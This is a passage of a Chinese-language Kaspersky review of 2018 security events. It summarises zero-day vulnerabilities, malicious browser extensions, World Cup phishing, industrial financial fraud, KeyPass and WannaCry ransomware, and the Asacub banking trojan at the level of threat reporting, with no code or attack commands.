1.2允许攻击者覆盖制度数据和代码指针,从而破坏不强制执行读写保护的CPU上的沙箱。麻省理工学院研究员Vladimir Kiriansky和独立研究员Carl Waldspurger发现了这些新的漏洞。

4月18日,有人向VirusTotal上传了一个新的漏洞利用工具。该文件被多家安全厂商检测,包括卡巴斯基实验室在内,我们借助通用启发式逻辑来检测一些较旧的Microsoft Word文档。事实证明,这是Internet Explorer(CVE-2018-8174)的一个新的0day漏洞,Microsoft在5月8日实现了修复。我们在沙箱系统中运行样本后,发现该样本成功针对应用了最新补丁的Microsoft Word版本实现漏洞利用。因此,我们对漏洞进行了更深入的分析,发现感染链包含以下步骤。受害者首先收到恶意的Microsoft Word文档,在打开之后,将会下载漏洞的第二阶段,是一个包含VBScript代码的HTML页面。该页面将会触发UAF漏洞并执行ShellCode。尽管最初的攻击向量是Word文档,但该漏洞实际上是位于VBScript中。这是我们第一次看到用于在Word中加载IE漏洞的URL Moniker,我们相信这种技术在以后会被攻击者严重滥用,因为这种技术允许攻击者强制加载IE,并忽略默认浏览器设置。漏洞利用工具包的作者很可能会在通过浏览器的攻击和通过Word文档的鱼叉式网络钓鱼攻击中滥用这一漏洞。为了防范这种攻击方式,我们应该应用最新的安全更新,并使用具有行为检测功能的安全解决方案。

8月,我们的AEP(自动漏洞利用防御)技术检测到一种新型网络攻击,试图在Windows驱动程序文件win32k.sys中使用0day漏洞。我们向Microsoft通报了这一问题,并且Microsoft在10月9日披露了这一漏洞(CVE-2018-8453)并发布了更新。这是一个非常危险的漏洞,攻击者可以控制受感染的计算机。该漏洞被用于针对中东组织的特定目标攻击活动中,我们发现了近12台被感染的计算机,我们认为这些攻击是由FruityArmor恶意组织发动的。

10月下旬,我们向Microsoft报告了另一个漏洞,这次是win32k.sys的0day特权提升漏洞,攻击者可以利用该漏洞来获取创建系统持久性所需的特权。这种漏洞也被用于针对中东组织的攻击之中。Microsoft在11月13日发布了该漏洞的更新(CVE-2018-8589)。我们还通过主动检测技术(卡巴斯基反目标攻击平台的高级沙盒、反恶意软件引擎和AEP技术)成功检测出这一威胁。

五、浏览器扩展:扩大网络犯罪分子的范围

浏览器扩展可以隐藏难看的广告、翻译文本、帮助我们在网上商店选择想要的商品等,使我们的生活更加轻松。但不幸的是,还有一些恶意扩展被用于广告轰炸、收集用户活动的相关信息,以及窃取财产。今年早些时候,一个恶意浏览器扩展引起了我们的注意,因为该扩展与一些可疑的域名进行了通信。恶意扩展名称为DesbloquearConteúdo(葡萄牙语:解锁内容),主要针对巴西地区使用网上银行服务的客户,收集其登录信息和密码,以便攻击者访问受害者的银行账户。

9月,黑客发布了来自至少81000个Facebook帐户的私人信息,声称这只是1.2亿帐户信息泄露的冰山一角。在暗网的广告中,攻击者以每个帐户10美分的价格来提供这些窃取的信息。BBC俄罗斯服务和网络安全公司Digital Shadows调查了这起攻击事件。他们发现在81000个帐户中,大多数来自乌克兰和俄罗斯,但其他国家的帐户也包含在内,包括英国、美国和巴西。Facebook认为这些信息是通过恶意浏览器扩展程序窃取的。

恶意扩展非常罕见,但我们需要认真防范这些威胁,因为它们可能会造成潜在的损害。用户应该只在Chrome网上应用商店或其他官方服务中安装具有大量安装数和评论数的经过验证的扩展程序。即便应用商店的运营者已经实施了保护措施,但恶意扩展还是有可能被成功发布。因此,建议用户额外使用互联网安全产品,安全产品将能够检测出可疑的扩展程序。

六、世界杯期间的欺诈行为

社会工程学仍然是各类网络攻击者的重要工具。诈骗者总是在寻找机会,通过一些热门的体育赛事来非法牟利,而世界杯就是他们的一个不错之选。在世界杯开始前的一段时间,网络犯罪分子就开始建立网络钓鱼网站,并发出与世界杯相关的信息。这些网络钓鱼邮件包括虚假的彩票中奖通知和比赛门票相关消息。诈骗者总是竭尽全力地模仿合法的世界杯合作伙伴网站,创建一个经过完美设计的网页,甚至添加了SSL证书以增加可信度。犯罪分子还通过模拟FIFA官方通知来提取数据:受害者收到一条消息,通知他们安全系统已经更新,必须重新输入所有个人数据才能避免帐户被锁定。这些消息中包含指向虚假页面的链接,诈骗者在这些虚假页面上收集受害者的个人信息。

关于网络犯罪分子利用世界杯进行欺诈的相关报告可以从 这里 找到。此外,我们还提供了有关如何避免网络钓鱼诈骗的 提示 ,这些提示适用于任何网络钓鱼诈骗,而不仅仅局限于世界杯相关。

在比赛前,我们还分析了举办FIFA世界杯比赛的11个城市的无线接入点,总共包含近32000个Wi-Fi热点。在检查其加密和身份验证算法时,我们计算了WPA2加密方式和完全开放的网络数量,以及它们在所有接入点之中的占比。超过五分之一的Wi-Fi热点都使用了不可靠的网络,这意味着犯罪分子只需要身处接入点附近,就能够拦截流量并获取人们的数据。大约四分之三的接入点使用了WPA/WPA2加密,这是目前被认为最安全的加密方式之一。针对这些热点,安全防护的强度主要取决于配置,例如热点所有者所设置的密码强度。复杂的加密密钥可能需要数年才能成功破解。然而,即使是可靠的网络(例如WPA2),也不能被认为是完全安全的。这些网络仍然容易受到暴力破解、字典破解和密钥重新配置的攻击,并且网上有大量的攻击教程和开源工具。在公共的接入点中,也可以通过中间人攻击的方式拦截来自WPA Wi-Fi的流量。

我们的报告以及如何安全使用Wi-Fi热点的建议可以在 这里 找到,这些建议也同样适用于任何场景,不只是世界杯。

七、工业规模的金融诈骗

今年8月,卡巴斯基实验室ICS CERT报道了一起旨在从企业(主要是制造公司)窃取资金的网络钓鱼活动。攻击者使用典型的网络钓鱼技术,诱导受害者点击受感染的附件,该附件包含在一封伪装成商业报价和其他财务文件的电子邮件之中。网络犯罪分子使用合法的远程管理应用程序TeamViewer或RMS(Remote Manipulator System)来访问设备,并扫描当前购买的相关信息,以及受害者使用的财务和会计软件的详细信息。然后,攻击者通过不同手段窃取公司的资金,例如通过替换交易中的银行账号。在8月1日发布报告时,我们已经发现至少有800台计算机感染这一威胁,这些受感染设备位于至少400个组织中,涉及到制造业、石油和天然气、冶金、工程、能源、建筑、采矿和物流等多个行业。该恶意活动自2017年10月以来就持续进行。

我们的研究发现,即使恶意组织使用简单的技术和已知的恶意软件,他们也可以借助社会工程学技巧以及将代码隐藏在目标系统中的方法,成功实现对工业公司的攻击。同时,他们使用合法的远程管理软件,来逃避反病毒解决方案的检测。

有关攻击者如何使用远程管理工具来攻陷其目标的更多信息,请参见 这篇文章 ,以及2018年上半年针对工控系统的 攻击概述 。

八、勒索软件:仍然存在的威胁

在过去一年内,勒索软件攻击的数量已经发生下降。然而,这种类型的恶意软件仍然是一个严重的问题。我们持续看到了新的勒索软件家族的发展。8月初,我们的反勒索软件模块检测到了KeyPass木马。在短短两天内,我们在20多个国家发现了这种恶意软件,巴西和越南遭受的打击最为严重,但也在欧洲、非洲和远东地区发现了受害者。KeyPass可以对受感染的计算机能访问的本地驱动器和网络共享上的所有文件(不限扩展名)进行加密。同时,还忽略了一些文件,这些文件位于恶意软件中硬编码的目录中。加密文件的附加扩展名为KEYPASS,勒索提示文件名为“!!!KEYPASS_DECRYPTION_INFO!!!.txt”,保存在包含加密文件的每个目录中。该木马的作者实施了一个非常简单的方案。恶意软件使用了AES-256对称加密算法(CFB模式),并针对所有文件使用为0的IV和相同的32字节密钥。木马在每个文件的头部进行加密,最多加密到0x500000字节(约5MB)的数据。在运行后不久,恶意软件连接到其C&C服务器,并获取当前受害者的加密密钥和感染ID。数据以JSON的形式通过纯HTTP传输。如果C&C不可用(例如被感染计算机未连接到网络,或者服务器已经被关闭),那么恶意软件会使用硬编码的密钥和ID。在离线加密的情况下,可以轻松实现对文件的解密。


卡巴斯基:2018年度安全大事件盘点

KeePass木马最值得注意的一个功能是“人工控制”。木马包含一个默认隐藏的表单,但在按下键盘上的特定按钮后可以显示该表单。这一表单允许犯罪分子通过更改加密密钥、勒索提示名称、勒索文本、受害者ID、加密文件的扩展名以及要排除的目录列表等参数,从而自定义加密过程。这种能力表明,木马背后的犯罪分子可能打算在人工攻击中使用这一软件。

然而,不仅仅是新的勒索软件家族对用户造成了威胁。在WannaCry爆发的一年半之后,该软件仍然是最广泛的加密勒索恶意软件之一,到目前为止,我们已经在全球范围内发现了74621次独立的攻击。在2018年第三季度,这些攻击占所有针对特定目标进行加密攻击的28.72%。这一比例与去年相比增加了2/3。考虑到在2017年5月病毒爆发之前,WannaCry所使用的EternalBlue补丁就已经存在,这一情况非常令人担忧。

九、Asacub和银行木马

2018年,涉及移动银行木马的攻击数量有明显增长。在今年年初,我们针对这种类型的威胁已经检测到一定数量的独特样本和受攻击用户。

然而,在第二季度,这一情况发生了巨大变化。我们检测到的移动银行木马和受攻击用户的数量突破记录。尽管主要原因还是在于Asacub和Hqwar,但这一数字发送巨大回升的根本原因还不清楚。根据我们的数据,Asacub幕后团队已经运营了超过3年。

Asacub是从一个短信木马演变而来的,它在最开始就拥有防止删除、拦截来电和拦截短信的技术。作者随后将程序逻辑复杂化,并开始大规模分发恶意软件。所选择的载体与最初的载体相同,都是通过SMS短信方式借助社会工程学实现分发。

当木马感染的设备开始传播感染时,就会呈现出滚雪球的增长趋势,Asacub通过自我传播,扩散到受害者的全部联系人名单。

十、智能不一定意味着安全 如今,我们被智能设备所包围,包括日常家用物品,例如电视、智能电表、恒温器、婴儿监视器和儿童玩具等。但智能设备的范畴还包含汽车、医疗设备、闭路电视摄像机和停车咪表。随着智能化的进一步提升,智能城市也相继出现。然而,如今的智能时代为攻击者提供了更大的攻击面。要保护传统计算机的安全非常困难,但如果要保护物联网(IoT)的安全,则又是难上加难。由于缺乏标准化,安全人员往往会忽
Viewing all 12749 articles
Browse latest View live